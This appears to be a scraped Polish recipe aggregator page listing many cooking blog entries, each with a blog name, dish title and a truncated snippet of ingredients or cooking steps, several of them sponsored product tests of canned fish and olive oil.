Gotowanie jest łatwe
Mini tarty ze szpinakiem i podsuszaną kiełbasą 173

spody ok 15 min. Wyjąć, nałożyć nadzienie, wyrównać, Położyć plasterki kiełbasy , posypać żółtym serem i szczyptą oregano. Ponownie wstawić do piekarnika i zapiec przez ok 15 min. Podawać z sosem pomidorowo paprykowym lub sałatką z warzyw sezonowych

Gotowanie jest łatwe
Pieczone gołąbki bez koszulki - golasy 208

nadać im kształt i ułożyć w natłuszczonej brytfance. Piekarnik nagrzać do 180 st . Przed wstawieniem wlać do brytfanki pół szkl wody i piec ok 45-50 min Podawać z sosem pomidorowym i młodymi ziemniakami z koperkiem

Gotowanie jest łatwe
Sałatka z łososiem Graal w pomidorkach 170

puszka łososia w sosie własnym Graal 4 łyżki kaszki kuskus sól pieprz pieprz cytrynowy oliwa małe pomidorki równej wielkości ok 9 szt szczypiorek rukola roszponka natka pietruszki Kaszkę kuskus posolić i zalać wrzątkiem ok pół cm ponad kaszkę. Kiedy napęcznieje pod przykryciem, wystudzić. Pomidorki dekoracyjnie przeciąć , wydrążyć wnętrze. Kaszkę wymieszać z łososiem, dodać przyprawy, posiekany szczypiorek, troszkę natki pietruszki

Gotowanie jest łatwe
Gulasz i papryka faszerowana kaszą zapiekane w garnku 195

mięsa wieprzowego (szynka) 1 cebula 3 marchewki 1 łyżka octu balsamicznego 1 łyżka octu jabłkowego sos sojowy oliwa sól pieprz oregano majeranek pieprz ziołowy staropolski 200 ml śmietany 2 łyżki mąki 3 białe papryczki 1,5 szkl ugotowanej kaszy gryczanej 100 g sera feta 50 g mozzarelli z bloku Mięso pkroić w kostkę, posypać przyprawami, skropić octem balsamicznym i jabłkowym

Gotowanie jest łatwe
Filety śledzia Graal najlepiej smakują w górach 165

Dostałam do testowania drugą paczkę rybek Graal w puszkach , są jeszcze lepsze :) Tym razem postanowiłam zabrać rybkę w góry . Ta łagodna w smaku  rybka "Filtey śledzia w sosie pomidorowym z papryką" doskonale nadaje się do spożycia prosto z puszki patrząc na piekne szczyty gór i słuchając dźwięków przyrody. Latwe do otwierania puszki do tego tylko bułeczka ale pamiętajmy -- puszkę

Gotowanie jest łatwe
Placek z cukinii z cebulą i boczkiem 217

cukinią wymieszać w ostatniej chwili i równomiernie rozłożyć na cebuli i boczku. Smażyć na mniejszym ogniu na złoty kolor, ostrożnie przewrócić na drugą stronę i również przyrumienić. Podawać z sosem słodko pikantnym i pomidorkiem

Gotowanie jest łatwe
Cukiniowe kwiaty na placku 166

polałam kwiaty ciastem)  Placek można na kilka minut przykryć pokrywką, następnie placek odwrócić i jeszcze chwilkę przyrumienić ale juz nie długo by nie spalić kwiatów. Podawać z sosem słodko pikantnym

Gotowanie jest łatwe
Ravioli z mięsem 124

cienko, nakładać porcyjki mięsa, posmarować dookoła mięsa wodą (pędzelkiem lub palcem) przykryć drugim plackiem, przyklepać i pociąć radełkiem w kwadraty. Gotować w osolonym wrzątku , odcedzić , podawać z masłem lub sosem

Gotowanie jest łatwe
Filety Makreli Graal z salsą i roszponką 181

razem postanowiłam przygotować Makrelę z salsą. Ta łagodna w smaku  rybka doskonale nadaje się do takich dań .  W puszce znajduje się duży kawałek ryby otoczony smacznym sosem i olejem.  http://www.graal.pl/?page_id=63

Gotowanie jest łatwe
Roladki cukiniowe z mięsem mielonym na kaszy gryczanej 128

małym ogniu i dusić ok 40 min. Pod koniec na każdej roladce położyć kosteczkę sera żółtego i jeszcze na chwilę pozostawić na ogniu. Roladki podawać na kaszy, polać wytworzonym sosem. Opublikowany

Gotowanie jest łatwe
Sałatka z bobem i łososiem Graal 215

kostkę, dodać opłukaną roszponkę i cebulę pokrojoną w krążki.łososia osączyć z zalewy, rozdrobnić nieco widelcem i dodać do sałatki.  Oliwę wymieszać z octem balsamicznym , musztardą i przyprawami. Sosem doprawić sałatkę. Odstawić na ok 1 godzinę do lodówki. Dostałam do testowania rybki w puszkach. Tym razem postanowiłam przygotować Łososia w sałatce z bobu. Ta łagodna w smaku  rybka

Gotowanie jest łatwe
Pizza z salami, suszonymi pomidorami i mozzarellą 164

Podstawowe ciasto na pizze  4-5 plastrów salami 1 kulka mozzarelli 6-7 kawałkow suszonego pomidora w oliwie pół pomidora świeżego kilka oliwek czarnych oregano sos pomidorowy 1 łyżka koncentratu pomidorowego 1 łyżka wody bazylia oregano szczypta soli Placek rozwalkować, koncentrat wymieszać z wodą i przyprawami, posmarować ciasto. Na wierzchu ułożyć salami, kilka plasterkow pomidora, plasterki oliwek, pomidory suszone

Gotowanie jest łatwe
Tarta z fasolnikiem i serem na grzybowym spodzie 199

podpieczony spód rozsmarować równo ser i równiutko od zewnątrz do samego środka spiralnie ułożyć fasolki . Posypać żółtym serem i oregano .. piec ok 40 min podawać z pomidorem i sosem słodko kwaśnym

Gotowanie jest łatwe
Karkówka z patelni 197

grube plastry karkówki 3 łyżki oliwy 1 łyżka octu jabłkowego 1 łyżka sosu sojowego sól pieprz szczypta rozmarynu szczypta czosnku niedźwiedziego Składniki marynaty wymieszać, namoczyć w niej mięso i odstawić na dwie godziny do lodówki. Smażyć na smalcu po 2- 2,5 minuty z każdej strony. Podać z pieczonymi ziemniaczkami sałatką z pomidorów. Opublikowany

Gotowanie jest łatwe
Chińskie fasolki w Chińszczyźnie 206

woreczki ciemnego ryżu garść fasolek chińskich 1 cebula 3 ząbki czosnku kawałek papryki czerwonej listek pora listek selera sól pieprz pieprz ziołowy szczypta imbiru szczypta cynamonu ocet winny oliwa sos sojowy ciemny Mięso zamarynować w mieszance octu i oliwy z solą i pieprzem. Odstawić na kilka godzin. Ryż ugotować i wyjąć z wody. Fasolki ugotować na półmiękko w osolonej wodzie

Gotowanie jest łatwe
Papryka faszerowana kaszą jaglaną i mięsem w sosie warzywnym 221

pół łyżeczki kolorowego pieprzu. Dusić na wolnym ogniu ok 40 min. Papryki wyjąć na talerz a warzywa dobrze zmiksować przy pomocy blendera. Dodać śmietanę i zagotować. Paprykę podawać z sosem obficie polanym

Gotowanie jest łatwe
Żeberka pieczone i purchawki w sosie 152

upływie godziny z żeberek zdjąć folię , obłożyć podsmażonymi grzybami i podlać rosołem. Zmniejszyć temperaturę do 160 st i piec ok 20 min.  Wyjąć żeberka, grzyby z powstałym sosem przelać do garnka , dodać śmietanę i zagotować.  Podawać z ziemniakami z wody

Gotowanie jest łatwe
Placuszki z dyni 151

Dynię zetrzeć na tarce o grubych oczkach, dodać jajka, mąkę, oliwę i przyprawy. Wymieszać i smażyć placuszki na rozgrzanym tłuszczu. Ja podałam ze zrumienionym boczkiem i  pikantnym sosem Chutney z dyni

Gotowanie jest łatwe
Pulpeciki duszone w warzywach i kluseczki gnocchi 159

posiekać w kostkę, marchewkę zetrzeć na tarce podsmażyć na oleju przez chwilę, następnie dodać rosół , zagotować. Włożyć do warzyw pulpety i gotować na wolnym ogniu przez ok 20 min. Sos mozna potem zmiksować , ja jednak pozostawiłam nie miksowany. Podawać z kluseczkami dowolnymi. Dzięki  SKWORCU  jestem szczęśliwą posiadaczką wielu nowych wspaniałych przypraw i ziół które wykorzystam.  Te fajne

Gotowanie jest łatwe
Buraczkowe pierogi z mięsem i sos pieczarkowy 176

burak ćwikłowy pieczony 1 jajko sól 1 łyżka oleju woda nadzienie 800g mięsa mielonego 1 jajko sól pieprz pieprz pomarańczowy Skworcu czosnek niedźwiedzi Skworcu 2 łyżki natki pietruszki sos 300 g pieczarek 1 cebula 300 ml śmietany kremówki sól pieprz tłuszcz do smażenia Burak przekroić na mniejsze kawałki, dodać odrobinę wody i zmiksować przy pomocy blendera, dodać jeszcze wody

Gotowanie jest łatwe
Naleśniki z karmelizowanymi figami z odrobiną nalewki wiśniowej 148

chwilę jeszcze pogotować . Ciepłe naleśniki ułożyć na talerzu składając na pół i chwytając na środku by naleśnik leżał w nieładzie. Na naleśnikach ułożyć plasterki fig i polać resztą wytworzonego sosu

Gotowanie jest łatwe
Tortilla nadziana gulaszem i mozzarellą 115

Dodać przyprawy, podlać wodą lub rosołem i dusić przez ok 30 minut. Odparować nieco. Nadziać tortille , posypać grubo startą na tarce mozzarellą i zwinąć tortille. Owinąć papierem zabezpieczając by sos nam nie uciekł

Gotowanie jest łatwe
Kurczaki z pieca 148

łyżki octu winnego 1 łyżka miodu 2 łyżeczki soli 1 łyżeczka pieprzu ziołowego staropolskiego 1 łyżeczka suszonej papryki 1 łyżeczka czosnku niedźwiedziego szczypta lubczyku szczypta mięty 1 łyżka sosu sojowego Kurczaki umyć, oczyścić, osuszyć. Składniki marynaty utrzeć i nasmarować marynatą kurczaki. Odstawić na ok dobę do lodówki. Włożyć kurczaki do brytfanki, podlać wodą ok pół szkl, okryć folią aluminiową. Piekarnik

Gotowanie jest łatwe
Pierogi z bakłażanem i mięsem mielonym 163

nadzienie przełożyć do innego naczynia i przestudzić. Dodać pure ziemniaczane i wymieszać nadzienie do pierogów. Ciasto wałkować cienko, wykrawać krążki i lepić pierogi . Ugotować w osolonym wrzątku. Podawać z sosem słodko kwaśnym

Gotowanie jest łatwe
Dynia hokkaido z nadzieniem chlebowo mięsnym 192

przyrumienić ją włączając dodatkowo termoobieg. porada: gdyby po rozkrojeniu nadzienie bylo lekko surowe można podpiec przez chwilę ćwiartki dyni. wtedy smakują jeszcze lepiej. Podawać z chutneyem, ajwarem lub innym sosem

Gotowanie jest łatwe
Śledzie w sosie tatarskim 188

posiekane dwa jajka, grzybki, ogórek i kapary. Doprawić do smaku solą, pieprzem i cukrem. Śledzie pokroić w paseczki, ułożyć na dnie naczynia, pospać drobno posiekaną połówką cebuli. Całość przykryć sosem tatarskim, udekorować cebulą krojoną w piórko, kaparami i jajkiem. dodatkowo  użyłam natki pietruszki i kilku plasterków marchewki

Gotowanie jest łatwe
Małże w białym winie z tymiankiem 139

pietruszki, od czasu do czasu delikatnie zamieszać i dusić pod przykryciem nie dłużej niż 5-6 min. Małże w tym czasie powinny się otworzyć . Podajemy je z cytryną i sosem w którym się gotowały

Gotowanie jest łatwe
Brukselka w sosie chrzanowym z ziołami 125

szczypta lubczyku szczypta oregano natka pietruszki szczypiorek Brukselkę przepłukać,oczyścić, zalać wodą i ugotować do miękkości. Odcedzić. W rondelku rozmieszać jogurt z chrzanem i żółtkiem , dodać przyprawy, podgrzewać aż sos zgęstnieje, dodać brukselkę i wymieszać. posypać natką pietruszki i szczypiorkiem

Gotowanie jest łatwe
Udko z nadzieniem i kluski śląskie 159

rozgrzać łyżkę masła przysmażyć roladki i podlać winem, a następnie wodą, dodać posiekaną cebulę i przyprawy. dusić ok 35 min na wolnym ogniu. Roladki podawać z kluskami śląskimi polane sosem który powstał podczas duszenia

Gotowanie jest łatwe
Roladki z pieczarkami i pure z batata i dyni 190

plastry mięsa kłaść porcje nadzienia, zwinąć i obwiązać sznureczkiem. W rondelku do duszenia rozgrzać łyżkę tłuszczu, przysmażyć dookoła roladki, podlać winem. Jeśli zostało coś z nadzienia to dodać do sosu, dodać 100 g papryki i pozostawione pieczarki pokrojone na plasterki oraz 2 ząbki czosnku, podlać pół szkl wody i dusić ok 40 min pod przykryciem na wolnym ogniu. Batata obrać

Gotowanie jest łatwe
Pęczotto z serduszkami drobiowymi 156

pieprz ziołowy oregano lubczyk natka pietruszki tłuszcz do smażenia Serduszka umyć, oczyścić, przekroić na pół. W rondlu do duszenia przysmażyć cebulę i czosnek, włożyć serduszka i dusić we własnym sosie aż zupełnie odparuje płyn. Wtedy podlać 2 szklankami rosołu, wsypać kaszę, dodać pokrojoną paprykę i pora oraz drobniutko posiekane chili i przyprawy do smaku, Gotować pod przykryciem od czasu

Gotowanie jest łatwe
Serca duszone w winie i kluseczki ziemniaczane 179

serca wieprzowe 1 duża cebula szczypta chili jałowiec kolendra rozmaryn sól pieprz pół szkl wina czerwonego 1 łyżka sosu sojowego 1 łyżka smalcu 3 łyżki dobrej śmietany kluseczki 300 g ugotowanych ziemniaków 1 szkl mąki pszennej szczypta soli 1 jajko Serca umyć, pokroić w cieniutkie plasterki. Cebulę pokroić w pół talarki, zioła utłuc w moździerzu. W rozgrzanym rondlu najpierw przysmażyć

Gotowanie jest łatwe
Zapiekane pure z dyni, ziemniaków i papryki 182

jednolitą masę, dodać jajko i mąkę kukurydzianą, dobrze wymieszać. Wlać w formę do tarty . Piec w temp 180 st przez ok 20- 25 min Zapiekane pure podałam z sosem mięsno-grzybowym

Gotowanie jest łatwe
Kugiel - Baba ziemniaczana 240

smaku solą i pieprzem. Wymieszać i przełożyć do natłuszczonego naczynia żaroodpornego. Piec 30 min (z termoobiegiem)  Podawać z mlekiem lub kefirem. Równie dobrze Kugiel smakuje odsmażany podany z sosem mięsno grzybowym

Gotowanie jest łatwe
Tortilla z pieczarkami i papryką wegetariańska 167

rondlu rozgrzać tłuszcz, wrzucić cebulę, lekko podsmażyć i dodać pieczarki oraz paprykę, smażyć aż odparuje większość płynu. Pod koniec dodać groszek, przyprawić do smaku. Nadziewać tortille, podgrzać, polać dowolnym sosem pikantnym

Gotowanie jest łatwe
Sałata z winegretem 148

sałata szczypiorek oliwa z pomidorów suszonych  sól pieprz 1 łyżeczka musztardy szczypta zielonej czubrycy 2 łyżeczki soku z cytryny Sałatę umyć, poszarpać, dodać pokrojony szczypiorek. Składniki na sos wymieszać energicznie w słoiczku. Dodać do sałaty i wymieszać

Gotowanie jest łatwe
Gołąbki w młodej kapuście 198

Ułożyć gołąbki w brytfance. Obłożyć małymi liśćmi i plasterkami pomidora. Skropić oliwą podlać wodą ok 3/4 szkl. Zapiec w piekarniku przez 30 min w temp 200 st. Podawać z sosem pomidorowym lub grzybowym

Gotowanie jest łatwe
Gulasz z boczniakiem i kluski serowo ziemniaczane 247

płyn. W drugiej, głębokiej patelni smażyć mięso aż odparuje i lekko się przyrumieni, dodać paprykę i przysmażonego boczniaka z cebulką, Podlać wodą i dusić do miękkości ok 1 godzinę. Sos powinien nabrać odpowiedniej konsystencji i koloru. Dodać groszek. Przyprawić pieprzem solą , oregano i hyzopem. W garnku nastawić wodę i ugotować kluseczki

Gotowanie jest łatwe
Zupa pomidorowa ze świeżych pomidorów 313

łyżkę masła, płaską łyżeczkę soli i czubatą łyżeczką cukru. Dusić na małym ogniu, często mieszając, przez około 30 minut. W wyniku duszenia pomidory powinny się rozpaść i utorzyć gęsty sos. Podsmażone pomidory przetrzeć przez sito lub zblendować na gładką masę. Do przecedzonego rosołu dodać przetarte/zblendowane pomidory i gotować razem, na średnim ogniu, przez około 10 minut. W międzyczasie śmietanę wlać

Gospodyni Miejska
Papryka w ketchupie 242

łagodnego ketchupu. Jest to doskonała alternatywa dla papryki konserwowej. Papryka w ketchupie idelanie nadaje się do mięs z grilla. Paprykę można także jeść podgrzaną, np. z dodatkiem ananasa, jako sos np. słodko - kwaśny do ryżu. Szklanka = 250 ml. Źródło przepisu:   Wielkie Żarcie

Gospodyni Miejska
Podudzia z kurczaka 193

olej i wrzucić nasze kawałki kurczaka, kawałki pokrojonej w krążki cebuli oraz 2 łyżki przecieru pomidorowego. Przykryć pokrywkę aby cebula puściła sok a kurczak dusił się w swoim własnym sosie. Po 20 minutach wszystko gotowe. Do tego tylko roszponka, której jesteśmy ogromnymi fanami

Smaki Brazylii
Pikantne skrzydełka jak z KFC 371

zanurzony) i smażyłam partiami skrzydełka przez około 15 minut na średnim ogniu na złoty kolor. Usmażone skrzydełka osuszałam z nadmiaru tłuszczu na ręczniku papierowym. Podawałam z opiekanymi ziemniaczkami i sosem czosnkowym

Kulinarny Pamiętnik
Kotlety z kaszy jęczmiennej 150

Pyszne i proste jarskie danie, które doskonale sprawdzi się jako zamiennik mięsnych kotletów. Podałam z sosem pieczeniowym i surówką z kiszonej kapusty. Składniki: 200 g kaszy jęczmiennej perłowej 2 małe cebule 2 jajka 3 łyżki mąki sól, pieprz olej do smażenia Przygotowanie Kaszę gotujemy wg instrukcji na opakowaniu. Można ją nawet lekko rozgotować. Cebulę siekamy w drobną kostkę i podsmażamy

e-PrzepisyKulinarne
W dyniowo-kokosowym sosie. 161

Makaron z sosem dyniowym i mleczkiem kokosowym, miodem  niech już przestanie padać >.< Miłego dnia

More food, love and dreams
Wiosenny pęczak - sałatka z kurczakiem 185

bardzo sytą sałatkę z pęczaku. Nadal mam wrażenie, że owa kasza jest u nas ciągle nie doceniana. Moja wersja nie jest typową spotykaną często na stołach, bez ciężkiego sosu przykrywającego małe ziarenka. Dodatek grillowanego filetu z kurczaka pozwala zaspokoić męski głód ( gdyby panowie narzekali na brak białka :) Jednak muszę zaznaczyć, że w wersji wegetariańskiej sałatka jest równie smaczna. Porcja

kawawszklance
Mleko kokosowe 165

wyciskajmy mleka na sitku - nie uzyska się takiej konsystencji płynu jak podczas wyżymania. Gotowe mleko kokosowe jest świetną bazą do domowych lodów, budyni a także wszelkich orientalnych zup czy sosów. Nie wyrzucajmy zużytych wiórków kokosowych. Można je jeszcze wykorzystać: * wysuszyć i używać do wysypywania blachy przed pieczeniem ciasta zamiast bułki tartej *  zalać wódką / rumem i mieć po 2 tygodniach

kawawszklance
Kluski śląskie 163

zrobić kiedy chcemy zaskoczyć gości na niedzielnym obiedzie czymś niebanalnym? Oczywiście kluski śląskie :) Smaczne, pasują zarówno do dań mięsnych jak i większości jarskich. Można podać z sosem, gulaszem lub w najprostszej wersji - z masłem i koperkiem. W moim rodzinnym domu często pojawiły się na stole. Jako mała dziewczynka uwielbiałam je robić razem z Mamą. Moim zadaniem było małym, pulchnym

kawawszklance
Pizza z patelni z tuńczykiem i pomidorami 184

czasie podzielić na 2 części w stosunku 1/4 do 3/4 ( pizza na cienkim i na średnim cieście ). Rozwałkować na krążki dopasowane do średnicy patelni. Dodatkowo: * - puszkę tuńczyka w sosie własnym - 1 pomidor pokrojony na plasterki - kilka krążków cebuli - 2 łyżeczki suszonego oregano - 4 łyżki keczupu pikantnego - 2 garście ulubionego tartego żółtego sera Patelnię mocno rozgrzać, położyć na niej placek. Przykryć

kawawszklance
Wątróbka z sosem z suszonej żurawiny ( sałatka ) 181

minut z każdej strony wystarczyło). Ser pokroić w kosteczkę. Na talerze rozłożyć poszatkowaną kapustę / sałatę. Porozkładać równo na niej wątróbkę, na każdej położyć kosteczkę sera*. Ułożyć zamarynowaną cebulkę. Polać sosem. Podawać na ciepło lub już jak wątróbka wystygnie. Na zimno jest równie smaczna. * jeżeli zrezygnujemy ze słonego sera w sałatce wątróbkę po usmażeniu należy posolić. Zdjęcia potraw są mojego autorstwa

kawawszklance
Sushi w domu 229

pokrojona w słomkę ( włożona do marynaty a ok. 2 godziny ) - szczypior - avokado krojone w słupki - krewetki* - wędzony łosoś - kremowy serek - majonez - 6 płatów nori ( prasowane glony ) - pasta wasabi i sos sojowy do podania * krewetki nabijam na patyczki do szaszłyków, obgotowuje w osolonym wrzątku ( ok 2 minut - podgotowane, 4 minut- surowe). Następnie skrapiam sokiem z cytryny. Zabieramy się za zwijanie rolek

kawawszklance
Chaczapuri z jarmużem 164

dociskamy wałkiem. Jak piec? Do tego potrzebujesz tylko patelnie - bez żadnego tłuszczu ! Układasz na rozgrzaną patelnie - do zarumienienia, następnie obracasz - i znów czekasz aż nabierze kolorów.   Polecam z sosem tzatziki :)  Wszystkiego smacznego

dlaSmaQ
Dolnośląski Festiwal Dyni, Wrocław 2015 217

Jakimowicz-Klein – dziennikarką „Smaków” i „Kuchni Wrocławia” oraz Martyną Bartoszewicz z "Co do gara" wybrałyśmy co  następuje : Miejsce I w konkursie na najsmaczniejsza dynię czyli Lody dyniowe z sosem śliwkowo-dyniowym Miejsce II czyli dżem prozdrowotny dyniowo-sosnowy Miejsce III czyli Ciasto dyniowo-czekoladowe wielkie zaskoczenie czyli pyszny sernik dyniowy z sera koziego z obłędnym musem... I kilka foto

Dzieje kuchennej Wiewióry
Rukola z melonem i chrupiącą szynką Jamon 177

chrupko na suchej patelni. Rukolę podziel na 4 talerze, na nią połóż plasterki cukinii, melona i szynkę w równych proporcjach. Całość skrop dressingiem. Powinno wyjść około 2 łyżeczek sosu na porcję sałatki. Smacznego

Bazując na smaku
Temesvári sertéstokány 206

czasu do czasu mieszając, około 40-60 minut, do miękkości Po tym czasie dodaj śmietanę wymieszaną z jogurtem. Pamiętaj, żeby całość zdjąć z gazu i dodać do śmietany trochę sosu i rozrobić przed dodaniem jej do dania. Mimo to, Temesvári sertéstokány może się zważyć ze względu na jogurt. Nie wpływa to jednak na szczęście na smak :) Życzę mu apetyt !!!*** link

Bazując na smaku
Zdrowe niskokaloryczne pesto na dwa sposoby 245

zdrowe propozycje na ekspresowy obiad. Zobaczcie sami! Wystarczy dodać 150 g makaronu na osobę i mamy gotowy posiłek, który zrobimy, kiedy makaron będzie się gotował.    Gotowe sosy można też przechowywać w lodówce parę dni.  U mnie ostatnio króluje makaron orkiszowy lub żytni, choć domowej roboty pszenny jest zdecydowanie najsmaczniejszy. Pesto można też wykorzystać do ryby, mięsa

Bazując na smaku
Dorsz po florencku z oliwą Italiamo 286

Uwielbiam włoską kuchnię za jej różnorodność. No, to nie odkrywcze :) Ale odkrywcze są produkty Italiamo w Lidlu. Oliwy, suszone pomidory, sosy do makaronów, pyszne octy balsamiczne. Ja zapraszam Was do Toskanii  na dorsza po florencku (baccalà alla fiorentina) 4 kawałki świeżego dorsza 8 łyżek oliwy Italiamo 2 cebule 2 ząbki czosnku 3 szt. suszonych pomidorów Italiamo mąka ziemniaczana

AZgotuj!
"Czas na śliwki" - podsumowanie akcji 263

śliwkami. autorka: chien | blog: saffron Ciasto śliwkowe z kruszonką autorka: Kuchcik gotuje | blog: Kuchcik gotuje Chutney z dyni i śliwek autorka: Badylarka | blog: Weekendy w domu i ogrodzie Sos imbirowo-śliwkowy autorka: Badylarka | blog: Weekendy w domu i ogrodzie Pieczona owsianka ze śliwkowym musem. autorka: kapitan.warzywo | blog: Ageless Nation .138. bezglutenowe babeczki ze śliwkami, orzechami i fit białą czekoladą autorka

Weekendy w domu i ogrodzie
Pasztet z kaszy jaglanej z warzywami. 242

keksówkę 12 / 25 cm 3/4 kaszy jaglanej szklanka orzechów laskowych mielonych 100 ml oleju 2 marchewki 2 pietruszki biała część pora duża cebula 2 ząbki czosnku 2 łyżki sosu sojowego pół łyżeczki lubczyku ,majeranku ,tymianku łyżka posiekanej natki pietruszki szczypta gałki muszkatołowej sól ,około 2 łyżeczki ,pieprz ile lubicie Kaszę prażymy na suchej patelni przez chwilkę ,mieszamy . Przepłukać na sicie

Ladylaura.
chrupiące placki ziemniaczane z cukinią, cebulą, czosnkiem, koperkiem... 295

tartą, kucharka, pieprz, dokładnie wymieszać na patelni rozgrzać mocno olej rzepakowy i kłaść nieduże placki smażyć rumiane placki, odkładać na ręcznik papierowy placki podać można z cukrem, śmietaną, keczupem, sosem jogurtowym lub same - placki są chrupiące, smaczne, syte................SMACZNEGO

W Mojej Kuchni Lubię
Konkurs "Amore pomodore" 196

Jako inspirację polecam dania pomidorowe, które przygotowałam w ramach współpracy z marką Cirio: moussakę , kurczaka a la Stroganow , chorwackie kotleciki , pikantną zupę pomidorową i kurczaka zapiekanego w ostrym sosie

Kulinarne Inspiracje
Śniadaniowa kasza gryczana na słodko 181

oraz sól i podgrzewając na maleńkim ogniu cały czas mieszaj do momentu, aż olej kokosowy się rozpuści, a wszystkie składniki dokładnie połączą. Wsyp kaszę oraz suszone owoce do czekoladowego sosu i dokładnie zamieszaj. Zdejmij z ognia, przełóż do misek, posyp wiórkami kokosowymi i polej roztopioną gorzką czekoladą.  Z podanych składników uzyskasz 2 porcje

Roślinna - blog wegański
Bułki z dynią! Smażone banany! 208

czasie bułeczki wyrosną. Natnij je nożem. Posyp czarnuszką  Wstaw do nagrzanego piekarnika.  Temp. 200 stopni C. Czas pieczenia 35- 40 minut.  Smażone banany i figi w sosie kokosowo- orzechowym: Na rozgrzaną patelnię dodaj łyżkę oleju kokosowego, smaż grube plastry bananów i figi. Oprósz cynamonem, pod koniec smażenia dodaj masło z nerkowców (Primavika). Podajemy na gorącym bułeczkach dyniowych

SMYKWKUCHNI
Chlebek "pizza" 166

się całkiem ładnie, a smakował wybornie. Jest to zdecydowanie coś dla fanów pizzy, ale myślę że zasmakuje każdemu. Można go nafaszerować dowolnymi, ulubionymi składnikami, jeść sam, z masłem lub sosem pomidorowym. Polecam!  Składniki :  1,5 szklanki letniej wody 2 łyżeczki suszonych drożdży 3 szklanki mąki 2 łyżeczki soli 1,5 łyżeczki cukru ulubione dodatki (u mnie czerwona cebula

Codzienne Gotowanie
Quesadillas 179

ząbek czosnku 250 g chorizo 1 mała czerwona cebula 1 średnia cebula 250 g startego żółtego sera np. radamer 2 szt awokado kwaśna śmietana Przygotowanie Tortillę posmarowałem oliwą i sosem pomidorowym. Złożyłem po dwie. Na patelni rozgrzałem oliwę , na której przesmażyłem plasterki chorizo z posiekanym czosnkiem oraz cebulą pokrojoną w piórka. Na tortillę rozłożyłem farsz i pokrojone w plasterki awokado

R'n'G Kitchen
Grzanki z gruszką, camembertem i miodem 196

więź, zdaję sobie sprawę, że dla niektórych osób aromat gorgonzoli jest zbyt intensywny. Ja sama bardzo lubię go w potrawach, które maskują jego mocną woń, np. w makaronie z sosem śmietanowym z brokułami czy w sałatkach, ale na kanapce jest dla mnie nie do przełknięcia. Owszem, podjadam czasem gruszki z kawałkami gorgonzoli, ale tak naprawdę są to kawałeczki :) Dlatego przygotowując

Chilli Czosnek i Oliwa
Domowa vegeta 167

Zapraszam na pyszną warzywną przyprawę, idealną do wszystkich zup, duszonych mięs, sosów, etc. Domową vegetę robię od kilku lat, bo wtedy wczytałam się dokładnie co wchodzi w skład tej  sklepowej. Wszystkie kupne przyprawy od razu poleciały do kosza na śmieci. Wprawdzie przy przygotowaniu vegety jest troszkę zabawy z suszeniem warzyw, ale zapach gotowej mieszanki zdecydowanie rekompensuje nam wszystko ! Serdecznie

Kulinarne przygody Gatity
szybkowar-policzki wieprzowe w sosie cebulowym... 215

pary gotować na mniejszym ogniu 35 minut otworzyć szybkowar gdy sam spuści ciśnienie, wyjąć na talerz policzki do wywaru wsypać mąkę, dodać śmietanę 18%, pałką blendera zmiksować do zagęstnienia sosu ugotowane ziemniaki utłuc tłuczkiem, ugotowane buraczki zetrzeć na tarce grubsze oczka, wymieszac z pokrojoną cebulą, cukrem, solą, pieprzem, octem, olejem, policzki z sosoem podać z ziemniakami, koperkiem, buraczkami - policzki

W Mojej Kuchni Lubię
Sałatka z brokułem, kurczakiem i kukurydzą 383

osolonej wodzie i kroję w kostkę. Kukurydzę odsączam z zalewy. 2. Wszystkie przygotowane składniki sałatki delikatnie ze sobą mieszam. Oprószam solą i pieprzem. 3. Majonez mieszam ze śmietaną. Przygotowanym sosem polewam sałatkę

Tradycyjna kuchnia Kasi
Dynia w mleku kokosowym z czarną soczewicą, ciecierzycą i pomidorami 188

dopraw solą i pieprzem, w razie potrzeby – kuminem, chili i gałką muszkatołową. Całość gotuj około 5 – 7 minut, następnie dodaj mleko kokosowe. Zwiększ moc palnika i zredukuj sos. Gdy zacznie gęstnieć – dodaj ciecierzycę i soczewicę. Podawaj z ryżem. Smacznego

Moja pasja smaku
Kopytka ziemniaczane z omastą z boczku 303

nich kopytek. Wtedy takie danie robi się błyskawicznie, gdy nie musimy już gotować ziemniaków i ich studzić. Kopytka możemy podawać z masłem i bułka tartą, z boczkiem lub z sosem pieczarkowym. Jest to proste i szybkie danie. Kopytka ziemniaczane z omastą z boczku Składniki: 6 - 8 ziemniaków ugotowanych 1 jajko 8 - 10 łyżek mąki pszennej szczypta soli boczek wędzony

Pyza i Surówka
Kluski kładzione drożdżowe 146

będą się odklejały od łyżki. Gotować 6-8 minut. Nie wkładać naraz za dużo klusek, powinny swobodnie pływać. Wyjmować łyżką cedzakową. Kluski można podawać do dań mięsnych, z różnymi sosami lub na słodko. Kluski należy przygotować tuż przed podaniem. Nie lubią leżeć, twardnieją. zastawa

królestwo garów
CIASTO CZEKOLADOWE Z BURAKAMI 174

nagrzanym do 170 stopni piekarniku ,około 50 minut. Pokrój dopiero po wystudzeniu. Jeśli chcesz możesz przygotować różową polewę z miodu, białej czekolady oraz soku z buraka.Posłuży również za sos! Smacznego

Z Kuchni Do Kuchni
Sałatka z sałatą rzymską 193

rzymską. Oczyszczoną z nasion paprykę,obraną cebulę kroimy w kosteczkę mieszamy razem z sałatą. Do jogurtu dodajemy sok z cytryny, cukier, starty imbir doprawiamy solą i pieprzem. Wszystkie składniki sosu dokładnie mieszamy, polewamy sałatę posypujemy siemieniem lnianym. Siemię możemy zastąpić ziarenkami słonecznika lub dyni. Smacznego

kgwjanczewo
Kotlety mielone z dynią, gorgonzolą i suszonymi pomidorami 197

pomidorów a na półce wyżej kawałek gorgonzoli. Jakoś mi to wszystko razem pasowało i tym oto sposobem wyszły mielone w całkiem innej, jesiennej odsłonie. Pychota :) Podałam je jeszcze z sosem pomidorowym (którego nie ma na zdjęciu). Składniki (mi wyszło 8 mielonych): 400 g mięsa mielonego 1 szklanka startej na tarce dyni kilka suszonych pomidorów 1 jajko 1 mała cebula

My simple kitchen
Krokiety z mięsem 226

ułożyć na naleśniku, naleśnik zwinąć zawijając brzegi do środka. Obtoczyć w rozkłóconym jajku i bułce tartej. Smażyć na patelni na złoty kolor z każdej strony. Nasza propozycja podania - z sosem pomidorowym (adsbygoogle = window.adsbygoogle || []).push

Wilczkowy Świat - nasze codzienne gotowanie
Wieprzowina w sosie musztardowym 181

